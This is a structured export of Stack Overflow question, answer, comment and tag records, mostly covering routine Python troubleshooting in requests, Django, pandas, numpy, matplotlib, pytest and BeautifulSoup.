has comment: http://stackoverflow.com/comment/84461441
has body: I would like to ask you some favor.I am trying to solve ssl error from a python login source code and still don't know how to solve this issue. ■environment Python 3.5.2 requests -the latest version ■source code import requests from bs4 import BeautifulSoup from urllib.parse import urljoin # login username and password USER = "JS-TESTER" PASS = "ipCU12ySxI" # session starts session = requests.session() # login information login_info = { "username_mmlbbs6": USER, "password_mmlbbs6": PASS, "back": "index.php", "mml_id": "0" } url_login = "http://uta.pw/sakusibbs/users.php?action=login&amp;m=try" res = session.post(url_login, data=login_info) res.raise_for_status() # pick up mypage's url soup = BeautifulSoup(res.text, "html.parser") a = soup.select_one(".islogin a") if a is None: print("Couldn't load mypage data") quit() # Convert the relative URL to an absolute URL url_mypage = urljoin(url_login, a.attrs["href"]) print("マイページ=", url_mypage) # Access mypage res = session.get(url_mypage) res.raise_for_status() # List up favorite titles soup = BeautifulSoup(res.text, "html.parser") links = soup.select("#favlist li &gt; a") for a in links: href = a.attrs["href"] title = a.get_text() print("-", title, "&gt;", href) ■error details [vagrant@localhost ch2]$ python login-getfav.py Traceback (most recent call last): File "/home/vagrant/.pyenv/versions/3.5.2/lib/python3.5/site-packages/urllib3/contrib/pyopenssl.py", line 441, in wrap_socket cnx.do_handshake() File "/home/vagrant/.pyenv/versions/3.5.2/lib/python3.5/site-packages/OpenSSL/SSL.py", line 1806, in do_handshake self._raise_ssl_error(self._ssl, result) File "/home/vagrant/.pyenv/versions/3.5.2/lib/python3.5/site-packages/OpenSSL/SSL.py", line 1546, in _raise_ssl_error _raise_current_error() File "/home/vagrant/.pyenv/versions/3.5.2/lib/python3.5/site-packages/OpenSSL/_util.py", line 54, in exception_from_error_queue raise exception_type(errors) OpenSSL.SSL.Error: [('SSL routines', 'tls_process_server_certificate', 'cert…
has comment: http://stackoverflow.com/comment/84457694
has comment: http://stackoverflow.com/comment/84461913
has comment: http://stackoverflow.com/comment/84457530
has comment: http://stackoverflow.com/comment/84461930
has comment: http://stackoverflow.com/comment/84456568
type: UnansweredQuestion
tagged with: python
has comment: http://stackoverflow.com/comment/84462192
has comment: http://stackoverflow.com/comment/84462039
answer count: 0
has comment: http://stackoverflow.com/comment/84461907

http://stackoverflow.com/a/48734797
has body: This is an in place solution. If your list is not a numpy array you can convert it to one using x = np.array(lst). import numpy as np x[np.where(x &lt;= 97)] += 3
score: 0
answers question: http://stackoverflow.com/q/48734715
type: Answer

http://stackoverflow.com/q/48666671
has comment: http://stackoverflow.com/comment/84330979
has comment: http://stackoverflow.com/comment/84331007
type: Question
answer count: 2
possible better answer: http://stackoverflow.com/a/48666912
score: -1
has title: Converting JSON file to SQLITE or CSV
upvote count: 2
has comment: http://stackoverflow.com/comment/84331299
downvote count: 3
tagged with: sqlite
favorite count: 0
has body: I'm attempting to convert a JSON file to an SQLite or CSV file so that I can manipulate the data with python. Here is where the data is housed: JSON File. I found a few converters online, but those couldn't handle the quite large JSON file I was working with. I tried using a python module called sqlbiter but again, like the others, was never really able to output or convert the file. I'm not. sure where to go now, if anyone has any recommendations or insights on how to get this data into a database, I'd really appreciate it. Thanks in advance! EDIT: I'm not looking for anyone to do it for me, I just need to be pointed in the right direction. Are there other methods I haven't tried that I could learn?
tagged with: http://stackoverflow.com/tag/csv
tagged with: python
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/48667608
has comment: http://stackoverflow.com/comment/84331214
linked to: http://stackoverflow.com/q/20199126
accepted answer: http://stackoverflow.com/a/48667608
tagged with: http://stackoverflow.com/tag/json
has answer: http://stackoverflow.com/a/48666912

http://stackoverflow.com/comment/84501139
type: Comment
type: QuestionComment
has text: If you really want to do it this way, take a look at Jupyter's Execute API: http://nbconvert.readthedocs.io/en/latest/execute_api.html#executing-notebooks-from-the-command-line. You can run Jupyter notebooks in the command line, and you can combine this with a scheduling program or an automated script that will run what you need and how often you need to run it.
score: 4
comment on: http://stackoverflow.com/q/48750055

http://stackoverflow.com/a/48769081
score: 0
type: Answer
answers question: http://stackoverflow.com/q/48768862
upvote count: 1
has body: your program will go into an infinite loop when it first encounters a number which contains digit 4 because in the following code portion you are not updating y and continuing. if '4' in y_str: z += 1 continue
downvote count: 1

http://stackoverflow.com/q/48720098
accepted answer: http://stackoverflow.com/a/48724791
possible better answer: http://stackoverflow.com/a/63777635
score: 6
has comment: http://stackoverflow.com/comment/84440123
type: Question
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/84439690
tagged with: pytest
has answer: http://stackoverflow.com/a/48724791
has comment: http://stackoverflow.com/comment/84439445
answer count: 2
upvote count: 6
has body: I'm trying to make the following code work: from pytest_mock import mocker class TestClass(mocker): def setup_method(self): self.some_mock = SomeAbstractClass() self.testsubject = ClassThatIsBeingTested(self.some_mock) def test_1(self): mocker.patch(self.some_mock, 'some_function', return_value=5) assert 5 == self.testsubject.function_that_internally_uses_the_mock() But I get a TypeError for trying to instantiate an abstract class. How can I mock SomeAbstractClass?
has comment: http://stackoverflow.com/comment/84439377
favorite count: 0
has comment: http://stackoverflow.com/comment/84439926
tagged with: python
has answer: http://stackoverflow.com/a/63777635
has comment: http://stackoverflow.com/comment/84439470
has comment: http://stackoverflow.com/comment/84439478
tagged with: python-3.x
has title: pytest-mock: Mock an abstract class
downvote count: 0

http://stackoverflow.com/comment/85056402
comment on: http://stackoverflow.com/a/48791032
score: 0
type: AnswerComment
type: Comment
has text: How do I make sure that all the tasks within the workflow executes?

http://stackoverflow.com/q/48739374
tagged with: pandas
has answer: http://stackoverflow.com/a/48739431
accepted answer: http://stackoverflow.com/a/48739431
answer count: 1
favorite count: 0
tagged with: python
has title: Pandas plot cumulative sum of counters over time
tagged with: plot
has body: I have a following dataframe: Joined User ID 0 2017-08-19 user 182737081 1 2017-05-07 user 227151009 2 2017-11-29 user 227306568 3 2016-05-22 user 13661634 4 2017-01-23 user 220545735 I'm trying to figure out how to plot user growth over time. I figured the best way is to plot a cumulative sum. I put together a simple code: tmp = members'Joined'.copy() tmp['count'] = 1 tmp.set_index('Joined', inplace=True) This produces the following cumsum: count Joined 2017-08-19 1 2017-05-07 2 2017-11-29 3 2016-05-22 4 2017-01-23 5 Now when I try to plot this using tmp.plot() I get something super weird like this, uh: I genuinely have no idea what is this plot actually displaying (this looks like some kind of cumulative delta trend line?) How do I plot cumulative user growth over time The version of pandas I'm using: pandas (0.20.3) In case you are curious whether the length of the series is the same as the highest count: tmp.cumsum().max() == len(tmp) count True dtype: bool
type: AnsweredQuestion
score: 7
tagged with: matplotlib
upvote count: 7
type: Question
downvote count: 0

http://stackoverflow.com/comment/84500046
type: QuestionComment
comment on: http://stackoverflow.com/q/48749427
has text: @BoboDarph I'm aware that they are called only once depending on a scope, but this is bit different from what I'm asking. For example, I'm executing tests from 5 modules, so module scoped fixture will be called 5 times and I want to know when it is called for the first time and for the fifth time within fixture itself to provision and dispatch resource correctly.
score: 0
type: Comment

http://stackoverflow.com/comment/84570643
score: 0
comment on: http://stackoverflow.com/a/48784383
type: Comment
has text: No they dont. They are unitless weights which are not bound by that constraint
type: AnswerComment

http://stackoverflow.com/q/48804194
type: UnansweredQuestion
upvote count: 1
tagged with: django
has answer: http://stackoverflow.com/a/48804606
has answer: http://stackoverflow.com/a/48804520
score: 1
has answer: http://stackoverflow.com/a/60398851
has body: I know there are multiple questions on this site about this problem, but I cannot find a solution. I am using Python 3.6 (anaconda) + django 2.0.2 on Windows 10. I am following the tutorial: https://docs.djangoproject.com/en/2.0/intro/tutorial03/ Here is my views.py from django.shortcuts import render # Create your views here. from django.http import HttpResponse from .models import * def index(request): content = 'abcxyz' context = {'content': content} return render(request, 'polls/index.html', context) I created a file index.html in the folder polls\templates\polls My settings.py: INSTALLED_APPS = [ 'polls.apps.PollsConfig', 'django.contrib.admin', 'django.contrib.auth', 'django.contrib.contenttypes', 'django.contrib.sessions', 'django.contrib.messages', 'django.contrib.staticfiles', ] MIDDLEWARE = [ 'django.middleware.security.SecurityMiddleware', 'django.contrib.sessions.middleware.SessionMiddleware', 'django.middleware.common.CommonMiddleware', 'django.middleware.csrf.CsrfViewMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'django.contrib.messages.middleware.MessageMiddleware', 'django.middleware.clickjacking.XFrameOptionsMiddleware', ] ROOT_URLCONF = 'django_site.urls' TEMPLATES = [ { 'BACKEND': 'django.template.backends.django.DjangoTemplates', 'DIRS': [], 'APP_DIRS': True, 'OPTIONS': { 'context_processors': [ 'django.template.context_processors.debug', 'django.template.context_processors.request', 'django.contrib.auth.context_processors.auth', 'django.contrib.messages.context_processors.messages', ], }, }, ] WSGI_APPLICATION = 'django_site.wsgi.application' # Database # https://docs.djangoproject.com/en/2.0/ref/settings/#databases DATABASES = { 'default': { 'ENGINE': 'django.db.backends.sqlite3', 'NAME': os.path.join(BASE_DIR, 'db.sqlite3'), } } I have a problem of 'TemplateDoesNotExist' - it seems to me that django tries to look for a template in django.template.loaders.app_directories.Loader: /mnt/e/workspace/capec-processing/code/d…
type: Question
has comment: http://stackoverflow.com/comment/84611398
has answer: http://stackoverflow.com/a/48804464
downvote count: 0
tagged with: python
answer count: 4
favorite count: 0
has title: django2 + python3: TemplateDoesNotExist
tagged with: python-3.x
tagged with: django-templates

http://stackoverflow.com/comment/84388556
type: Comment
comment on: http://stackoverflow.com/q/48694540
type: QuestionComment
score: 0
has text: That works, thank you!

http://stackoverflow.com/comment/84467530
comment on: http://stackoverflow.com/a/48733932
type: AnswerComment
type: Comment
score: 1
has text: @SunBear: why do I need to do that? You can create an example script just as easily as I can.

http://stackoverflow.com/comment/84290119
type: QuestionComment
has text: lets say that this is the requirement.
score: 0
comment on: http://stackoverflow.com/q/48645927
type: Comment

nameerror
tags question: http://stackoverflow.com/q/48655704
tags question: http://stackoverflow.com/q/48738105
tag name: nameerror
tags question: http://stackoverflow.com/q/48774044
type: Tag

http://stackoverflow.com/comment/84395497
score: 0
has text: That's not valid Python syntax. *"I want to be able to change a variable outside of a if statement"*, you can, just use the assignment operator on it anywhere. Looks like you mean you want the value to persist after the execution of the program, in that case you need to save it somewhere and retrieve it.
type: Comment
comment on: http://stackoverflow.com/q/48698408
type: QuestionComment

http://stackoverflow.com/comment/84627235
comment on: http://stackoverflow.com/q/48802680
type: QuestionComment
type: Comment
has text: Oops, I realised I didn't understand the algorithm you were trying to implement. Anyway, one problem I see is `len(mydict[node]) == None` - this will never be true as 0 does not equal `None`. `not mydict[node]` is the canonical way to test for an empty string or list. Furthermore, `previous()` always returns `None` as `while False:` means it never enters the loop, but I'm not really sure what the best way to fix this is...
score: 0

http://stackoverflow.com/a/48792624
downvote count: 1
answers question: http://stackoverflow.com/q/48778381
type: Answer
upvote count: 0
has body: I was able to solve this by creating a custom pipeline, which seems to work fine. settings.py ITEM_PIPELINES = { 'test.pipelines.S3FileUpload': 1 } pipelines.py import boto import boto.s3 from boto.s3.key import Key import os from os.path import join, dirname from dotenv import Dotenv dotenv = Dotenv(join(dirname(__file__), ".env")) os.environ.update(dotenv) AWS_ACCESS_KEY_ID= os.environ.get("AWS_ACCESS_KEY_ID") AWS_SECRET_ACCESS_KEY = os.environ.get("AWS_SECRET_ACCESS_KEY") class S3FileUpload(object): def process_item(self, item, spider): bucket = s3.get_bucket('my-bucket') k = Key(bucket) k.key = 'test.json' k.set_contents_from_string(str(item)) return item
score: -1

http://stackoverflow.com/a/48753555
has comment: http://stackoverflow.com/comment/84507937
has comment: http://stackoverflow.com/comment/84508042
score: 2
has body: I don't think some module will suddenly loose its methods. You may check for the method being in the code, import matplotlib.pyplot as plt with open(plt.__file__[:-1],"r") as f: for line in f: if "tight_layout" in line: print(line) This should result in two lines being printed. def tight_layout(pad=1.08, h_pad=None, w_pad=None, rect=None): # and fig.tight_layout(pad=pad, h_pad=h_pad, w_pad=w_pad, rect=rect) If this is not the case, check when the file was last changed import os from datetime import datetime f = datetime.fromtimestamp(os.path.getmtime(plt.__file__[:-1])) print("Modification time: {}".format(f)) and compare to any actions you took, installing, uninstalling, modifying code etc.
downvote count: 0
type: Answer
has comment: http://stackoverflow.com/comment/84523351
upvote count: 2
answers question: http://stackoverflow.com/q/48753228
has comment: http://stackoverflow.com/comment/84544703

http://stackoverflow.com/q/48783108
type: Question
type: AnsweredQuestion
score: 3
has comment: http://stackoverflow.com/comment/84567826
possible better answer: http://stackoverflow.com/a/48783814
has comment: http://stackoverflow.com/comment/84567760
has comment: http://stackoverflow.com/comment/84567801
has comment: http://stackoverflow.com/comment/84567669
answer count: 2
has answer: http://stackoverflow.com/a/48783814
has answer: http://stackoverflow.com/a/48783337
accepted answer: http://stackoverflow.com/a/48783337
downvote count: 0
favorite count: 0
tagged with: beautifulsoup
has title: Python - How do I find the text of all spans with the id of 'value' using Beautiful Soup?
has comment: http://stackoverflow.com/comment/84567890
tagged with: python
has body: I would like to get all of the text of the spans which have the class of 'value'. I then need to get the online ISSN of the page by using the first 9 characters of the text. I don't need the ones with text ending in "(print)" but I do need the ones ending in "(online) Example ISSN: 0890-037X (Print) 1550-2740 (Online) Here I would need to get "1550-2740" as it is the online ISSN. I think I need to find all the spans, check the class and then check the text. If the text ends in "(online)" then I need to get the first 9 characters. How do I do this? Thank you in advance.
tagged with: python-3.x
upvote count: 3

http://stackoverflow.com/a/48793122
score: 0
type: Answer
has body: In Python 2.x, this could be done as follows: from bs4 import BeautifulSoup filename = raw_input('Please enter filename: ') with open(filename) as f_input: html = f_input.read() soup = BeautifulSoup(html, "html.parser") print soup
answers question: http://stackoverflow.com/q/48788552
accepted answer of: http://stackoverflow.com/q/48788552
type: AcceptedAnswer

http://stackoverflow.com/comment/84365409
score: 0
type: AnswerComment
has text: hmm season_path is a string like literal "s1_path", probably there is already a path variable like "C:/files/season_1"
type: Comment
comment on: http://stackoverflow.com/a/48684113

http://stackoverflow.com/comment/84577916
score: 1
type: QuestionComment
comment on: http://stackoverflow.com/q/48788173
has text: What is unclear about that error? You didn't indent `print x`
type: Comment

http://stackoverflow.com/comment/84391656
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48696315
has text: To simplify your R version, you can just drop columns g, h, and i before grouping. You can also do the same in pandas. At that point it should be just doing the correct group by in pandas. I think in your pandas code, you are dropping duplicates without doing the `group_by`
score: 0

http://stackoverflow.com/q/48675435
score: 1
tagged with: google-oauth
type: Question
downvote count: 0
has answer: http://stackoverflow.com/a/60225735
favorite count: 0
answer count: 3
tagged with: python-social-auth
has answer: http://stackoverflow.com/a/48705901
has title: Python Social Auth, Google, and refresh token
has answer: http://stackoverflow.com/a/53412304
tagged with: oauth-2.0
accepted answer: http://stackoverflow.com/a/48705901
tagged with: django
upvote count: 1
tagged with: python
has body: In a personal project, I am trying to use Django as my front end and then allow data entered by users in a particular form to be copied to google sheets. Google's own docs recommend using https://github.com/google/oauth2client which is now deprecated, and the docs have not been updated. With this, I have started attempting to use Python Social Auth and Gspread. For Gspread to be able to function correctly, I need to be able to pass it not only an access token but also a refresh token. Python Social Auth however is not persisting the refresh token along with the rest of the "extra data". Looking at the data preserved and the URLs routed to, it seems to me more like somewhere it is routing through Google+. I have the following configurations in my Django settings files: AUTHENTICATION_BACKENDS = ( 'social_core.backends.google.GoogleOAuth2', 'django.contrib.auth.backends.ModelBackend', ) SOCIAL_AUTH_PIPELINE = ( 'social_core.pipeline.social_auth.social_details', 'social_core.pipeline.social_auth.social_uid', 'social_core.pipeline.social_auth.social_user', 'social_core.pipeline.user.get_username', 'social_core.pipeline.user.create_user', 'social_core.pipeline.social_auth.associate_user', 'social_core.pipeline.social_auth.load_extra_data', 'social_core.pipeline.user.user_details', 'social_core.pipeline.social_auth.associate_by_email', ) SOCIAL_AUTH_GOOGLE_OAUTH2_KEY = '...' SOCIAL_AUTH_GOOGLE_OAUTH2_SECRET = '...' SOCIAL_AUTH_GOOGLE_OAUTH2_SCOPE = ['https://www.googleapis.com/auth/spreadsheets'] Is there a better way to access a google sheet? Am I correct that PSA or google is redirecting me into a Google+ auth flow instead of the Google Oauth2? If not, what must change so that Python Social Auth keeps the refresh token?
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/53412304

random
tags question: http://stackoverflow.com/q/48757501
tags question: http://stackoverflow.com/q/48681388
tags question: http://stackoverflow.com/q/48728610
tags question: http://stackoverflow.com/q/48754674
tags question: http://stackoverflow.com/q/48739299
tags question: http://stackoverflow.com/q/48708751
tags question: http://stackoverflow.com/q/48699343
tags question: http://stackoverflow.com/q/48648374
tags question: http://stackoverflow.com/q/48787700
tags question: http://stackoverflow.com/q/48698223
tags question: http://stackoverflow.com/q/48670893
tags question: http://stackoverflow.com/q/48794345
tags question: http://stackoverflow.com/q/48739457
tags question: http://stackoverflow.com/q/48650477
tags question: http://stackoverflow.com/q/48769342
tags question: http://stackoverflow.com/q/48686767
tags question: http://stackoverflow.com/q/48675954
tag name: random
tags question: http://stackoverflow.com/q/48647736
type: Tag
tags question: http://stackoverflow.com/q/48677430
tags question: http://stackoverflow.com/q/48751804
tags question: http://stackoverflow.com/q/48724890
tags question: http://stackoverflow.com/q/48777695
tags question: http://stackoverflow.com/q/48668884
tags question: http://stackoverflow.com/q/48739652
tags question: http://stackoverflow.com/q/48661534

http://stackoverflow.com/q/48792941
type: AnsweredQuestion
type: Question
has comment: http://stackoverflow.com/comment/84588208
has body: New to python. While running this script in python, I am getting an undefined name: student error. Below is my code. I tried solving this but failed. class Student: Std1 = Student() #std2 = Student() Std1.fname='Sushant' Std1.lname='Shinde' print(Std1.fname)
accepted answer: http://stackoverflow.com/a/48793067
has answer: http://stackoverflow.com/a/48793198
has title: name student undefined in python for class creation
has answer: http://stackoverflow.com/a/48792996
tagged with: class
score: 0
has answer: http://stackoverflow.com/a/48793067
has answer: http://stackoverflow.com/a/48793201
possible better answer: http://stackoverflow.com/a/48792996
has comment: http://stackoverflow.com/comment/84588059
has answer: http://stackoverflow.com/a/48793396
has comment: http://stackoverflow.com/comment/84588171
has comment: http://stackoverflow.com/comment/84588079
has comment: http://stackoverflow.com/comment/84588175
answer count: 5
has comment: http://stackoverflow.com/comment/84588049
tagged with: python

pyqt5
tags question: http://stackoverflow.com/q/48793100
tags question: http://stackoverflow.com/q/48665788
tags question: http://stackoverflow.com/q/48798703
type: Tag
tags question: http://stackoverflow.com/q/48676859
tags question: http://stackoverflow.com/q/48800292
tags question: http://stackoverflow.com/q/48783576
tags question: http://stackoverflow.com/q/48753154
tags question: http://stackoverflow.com/q/48709399
tags question: http://stackoverflow.com/q/48761919
tags question: http://stackoverflow.com/q/48687981
tags question: http://stackoverflow.com/q/48758188
tags question: http://stackoverflow.com/q/48762429
tags question: http://stackoverflow.com/q/48668670
tags question: http://stackoverflow.com/q/48759203
tags question: http://stackoverflow.com/q/48665080
tags question: http://stackoverflow.com/q/48767242
tags question: http://stackoverflow.com/q/48705307
tags question: http://stackoverflow.com/q/48695077
tags question: http://stackoverflow.com/q/48675856
tags question: http://stackoverflow.com/q/48796317
tags question: http://stackoverflow.com/q/48784162
tags question: http://stackoverflow.com/q/48786311
tags question: http://stackoverflow.com/q/48684729
tags question: http://stackoverflow.com/q/48694680
tags question: http://stackoverflow.com/q/48671027
tags question: http://stackoverflow.com/q/48676566
tag name: pyqt5
tags question: http://stackoverflow.com/q/48666832
tags question: http://stackoverflow.com/q/48739070
tags question: http://stackoverflow.com/q/48796093
tags question: http://stackoverflow.com/q/48689445
tags question: http://stackoverflow.com/q/48699603
tags question: http://stackoverflow.com/q/48647528
tags question: http://stackoverflow.com/q/48733373

graph
tags question: http://stackoverflow.com/q/48745529
tags question: http://stackoverflow.com/q/48753103
tags question: http://stackoverflow.com/q/48692394
tags question: http://stackoverflow.com/q/48758789
tags question: http://stackoverflow.com/q/48661658
tags question: http://stackoverflow.com/q/48737913
tags question: http://stackoverflow.com/q/48757467
tag name: graph
tags question: http://stackoverflow.com/q/48686700
tags question: http://stackoverflow.com/q/48688572
tags question: http://stackoverflow.com/q/48711920
tags question: http://stackoverflow.com/q/48797712
tags question: http://stackoverflow.com/q/48778259
tags question: http://stackoverflow.com/q/48660533
tags question: http://stackoverflow.com/q/48654211
tags question: http://stackoverflow.com/q/48740005
type: Tag
tags question: http://stackoverflow.com/q/48780349
tags question: http://stackoverflow.com/q/48804513
tags question: http://stackoverflow.com/q/48684934
tags question: http://stackoverflow.com/q/48656094
tags question: http://stackoverflow.com/q/48722724
tags question: http://stackoverflow.com/q/48747452

http://stackoverflow.com/q/48736341
answer count: 1
favorite count: 0
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/48749891
downvote count: 2
tagged with: python
type: Question
has body: Javascript creates my html template tables. The function code below is called inside a for loop for TABLE which is inside a for loop for ROUND. The two loops are determined by variables (NumberOf)tables and (NumberOf)rounds, so they vary with use. The database needs to maintain records of the 6 fields for each TABLE in each ROUND, but those field names have not been programmed (yet?) to vary from one ROUND/TABLE instance to another for multiple reasons: it's not clear how to do so in a way to jeehaw with the python data models; I hope there is an easier alternative and; I want to not overburden the server with jinja-type code in the javascript as has been mentioned elsewhere on stackoverflow, for example. function round1(ROUND,TABLE){ var tt; tt = ' Table '+ TABLE +'' tt += ' ' tt += ' partners1' tt += ' ' tt += ' ' tt += ' score1 ' tt += ' ' tt += ' ' tt += '' tt += ' ' tt += ' ' tt += ' partners2' tt += ' ' tt += ' ' tt += ' score2 ' tt += ' ' tt += ' ' return tt; } The data models are given below. I am concerned with the processing burden of Posting data back to the server and Getting the results back to the template. But I am also troubled with how to parse and process the data items efficiently. class Parties(ndb.Model): email = ndb.StringProperty() page = ndb.KeyProperty(kind=Pages) name = ndb.StringProperty() tables = ndb.IntegerProperty(default=0) rounds = ndb.IntegerProperty(default=0) class Rounds(ndb.Model): party = ndb.KeyProperty(kind=Pages) number = ndb.IntegerProperty(default=0) class Tables(ndb.Model): party = ndb.KeyProperty(kind=Pages) number = ndb.IntegerProperty(default=0) partner1 = ndb.StringProperty(default="") partner2 = ndb.StringProperty(default="") partner3 = ndb.StringProperty(default="") partner4 = ndb.StringProperty(default="") score1 = ndb.IntegerProperty(default=0) score2 = ndb.IntegerProperty(default=0) So I am looking for ideas on how I can rewrite the javascript, or redesign the database, and how to construct the python get and pos…
score: -2
has title: javascript form does not lend itself to database designed
tagged with: javascript
upvote count: 0

http://stackoverflow.com/comment/84467056
score: 0
has text: check out this question: https://stackoverflow.com/questions/3463930/how-to-round-the-minute-of-a-datetime-object-python/10854034#10854034
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48733882

http://stackoverflow.com/comment/117876926
type: AnswerComment
comment on: http://stackoverflow.com/a/48777709
has text: Specifically says in the question without sys.path.append....
type: Comment
score: 1

http://stackoverflow.com/comment/91489752
comment on: http://stackoverflow.com/a/52231941
type: AnswerComment
has text: Well it surely does add the labels I needed (using `continuous` instead of `discrete` with proper params). Its never too late, so thanks for the answer :)
type: Comment
score: 1

http://stackoverflow.com/comment/84528783
has text: The only way to get better frequency resolution is to pass a longer sequence of data. More samples means better resolution.
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48752762

insert
tags question: http://stackoverflow.com/q/48794115
tags question: http://stackoverflow.com/q/48681121
tag name: insert
tags question: http://stackoverflow.com/q/48794553
tags question: http://stackoverflow.com/q/48675275
tags question: http://stackoverflow.com/q/48792739
type: Tag

http://stackoverflow.com/q/48647268
upvote count: 6
type: AnsweredQuestion
has title: Python matplotlib clockwise pie charts
has answer: http://stackoverflow.com/a/48647394
tagged with: matplotlib
type: Question
tagged with: pie-chart
downvote count: 0
accepted answer: http://stackoverflow.com/a/48647394
answer count: 1
tagged with: python
favorite count: 0
score: 6
has body: I am playing a bit with Python and its matplotlib library, how can I create the following chart so that the first slice starts from the top and goes to the right (clockwise) instead of going to the left (counter clockwise): Code: import matplotlib.pyplot as plt import re import math # The slices will be ordered and plotted counter-clockwise if startangle=90. sizes = [175, 50, 25, 50] total = sum(sizes) print('TOTAL:') print(total) print('') percentages = list(map(lambda x: str((x/(total * 1.00)) * 100) + '%', sizes)) print('PERCENTAGES:') print(percentages) backToFloat = list(map(lambda x: float(re.sub("%$", "", x)), percentages)) print('') print('PERCENTAGES BACK TO FLOAT:') print(backToFloat) print('') print('SUM OF PERCENTAGES') print(str(sum(backToFloat))) print('') labels = percentages colors = ['blue', 'red', 'green', 'orange'] patches, texts = plt.pie(sizes, colors=colors, startangle=-270) plt.legend(patches, labels, loc="best") # Set aspect ratio to be equal so that pie is drawn as a circle. plt.axis('equal') plt.tight_layout() plt.show()

http://stackoverflow.com/comment/84606172
score: 0
comment on: http://stackoverflow.com/q/48801807
type: Comment
has text: What exactly are you trying to do? Can you post an example with input & output ?
type: QuestionComment

http://stackoverflow.com/comment/84423186
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48712021
has text: Do you mean 6 columns that are tab delimited, or 6 tab characters?
score: 0

http://stackoverflow.com/comment/84452113
has text: Well that is usually because positives have a more *complex* shape, and thus it is harder for the algorithm to grasp that concept.
score: 0
comment on: http://stackoverflow.com/q/48726601
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/84411136
type: Comment
type: QuestionComment
has text: There's an [edit] button under the question for which you can use to improve your question any time.
comment on: http://stackoverflow.com/q/48705926
score: 0

http://stackoverflow.com/q/48771721
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/84544817
has comment: http://stackoverflow.com/comment/84544706
type: Question
tagged with: numpy
has answer: http://stackoverflow.com/a/48771801
has body: From the "Just When I Thought I Was Gettin' The Hang Of Numpy" file... &gt;&gt;&gt; import numpy as np &gt;&gt;&gt; y = np.array((1650, 2300, 2560, 3710)) * 1000000 &gt;&gt;&gt; y array([ 1650000000, -1994967296, -1734967296, -584967296]) My old math instructor would agree with the first result, but the others??? FWIW, running Python 3.6.3 on 64-bit Win 10, and also get (as expected) &gt;&gt;&gt; 2300 * 1000000 2300000000
answer count: 3
possible better answer: http://stackoverflow.com/a/48771870
score: 2
has answer: http://stackoverflow.com/a/48771870
downvote count: 0
favorite count: 0
tagged with: multidimensional-array
upvote count: 2
accepted answer: http://stackoverflow.com/a/48771801
has answer: http://stackoverflow.com/a/48771918
tagged with: python
has title: Unexpected results in multiplying array by scalar

http://stackoverflow.com/comment/84345419
type: Comment
has text: Regards Pault myself i dont know clearly what a roll rate table is all i know is its just a transition marix for a markov chain with payment dates and all, as you can see from the work it is to design the roll rate table as they said lets just use common sense or data-driven appriach thats why i used random number as follows: from numpy.random import rand np.random.seed(50)
comment on: http://stackoverflow.com/q/48671636
score: 0
type: QuestionComment

http://stackoverflow.com/q/48663099
tagged with: python-2.6
tagged with: linux
type: Question
has answer: http://stackoverflow.com/a/48663304
has comment: http://stackoverflow.com/comment/84323556
has comment: http://stackoverflow.com/comment/84337754
tagged with: python
has comment: http://stackoverflow.com/comment/84324681
tagged with: centos7
has title: How can I Install Python 2.6 in CentOs 7?
upvote count: 1
tagged with: epel
answer count: 1
accepted answer: http://stackoverflow.com/a/48663304
score: -3
has body: I Tried to install Python 2.6 in CentOs 7 with sudo yum install python26 But, getting the following error. Loaded plugins: fastestmirror, langpacks Loading mirror speeds from cached hostfile * base: centos.excellmedia.net * epel: kartolo.sby.datautama.net.id * extras: centos.excellmedia.net * updates: centos.excellmedia.net No package python26 available. Error: Nothing to do I am also installed epel-release(sudo yum install epel-release) in CentOS 7. But, still the error is not resolved. Please help me.
downvote count: 4
type: AnsweredQuestion
favorite count: 0

http://stackoverflow.com/comment/84581584
type: Comment
comment on: http://stackoverflow.com/a/48771385
has text: I tried what you told me but I still have the same output. List index out of range
score: 0
type: AnswerComment

http://stackoverflow.com/comment/84779141
has text: Thank you for your answers but it doesn't work. It shows same error as before :(
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/48744187

http://stackoverflow.com/a/48722320
has body: Actually using request.session to store the data without saving it to the database is one approach, you can eighter save it to the localStorage or sessionStorage if you are developing mainly javascript AJAX frontent. But if you render every view with django then is using request.session better for you. Consider storing ids of the objects in the request.session in array and then use it as you want, remember to seralize it to JSON (json.dumps(list of ids)) before assigning it to the request.session.
type: Answer
answers question: http://stackoverflow.com/q/48721942
has comment: http://stackoverflow.com/comment/84621367
has comment: http://stackoverflow.com/comment/84620863
score: 0

matplotlib
tags question: http://stackoverflow.com/q/48687158
tags question: http://stackoverflow.com/q/48762672
tags question: http://stackoverflow.com/q/48646094
tags question: http://stackoverflow.com/q/48789808
tags question: http://stackoverflow.com/q/48754179
tags question: http://stackoverflow.com/q/48742037
tags question: http://stackoverflow.com/q/48662448
tags question: http://stackoverflow.com/q/48790378
tags question: http://stackoverflow.com/q/48748927
tags question: http://stackoverflow.com/q/48801147
tags question: http://stackoverflow.com/q/48753228
tags question: http://stackoverflow.com/q/48730982
tags question: http://stackoverflow.com/q/48647869
tags question: http://stackoverflow.com/q/48795977
tags question: http://stackoverflow.com/q/48734269
tags question: http://stackoverflow.com/q/48703275
tags question: http://stackoverflow.com/q/48705122
tags question: http://stackoverflow.com/q/48670067
tags question: http://stackoverflow.com/q/48720238
tags question: http://stackoverflow.com/q/48686702
tags question: http://stackoverflow.com/q/48694620
tags question: http://stackoverflow.com/q/48717794
tags question: http://stackoverflow.com/q/48771734
tags question: http://stackoverflow.com/q/48767425
tags question: http://stackoverflow.com/q/48694695
tags question: http://stackoverflow.com/q/48723466
tag name: matplotlib
tags question: http://stackoverflow.com/q/48757691
tags question: http://stackoverflow.com/q/48752191
tags question: http://stackoverflow.com/q/48725707
tags question: http://stackoverflow.com/q/48737325
tags question: http://stackoverflow.com/q/48791561
tags question: http://stackoverflow.com/q/48695488
tags question: http://stackoverflow.com/q/48719070
tags question: http://stackoverflow.com/q/48775176
tags question: http://stackoverflow.com/q/48695259
tags question: http://stackoverflow.com/q/48695747
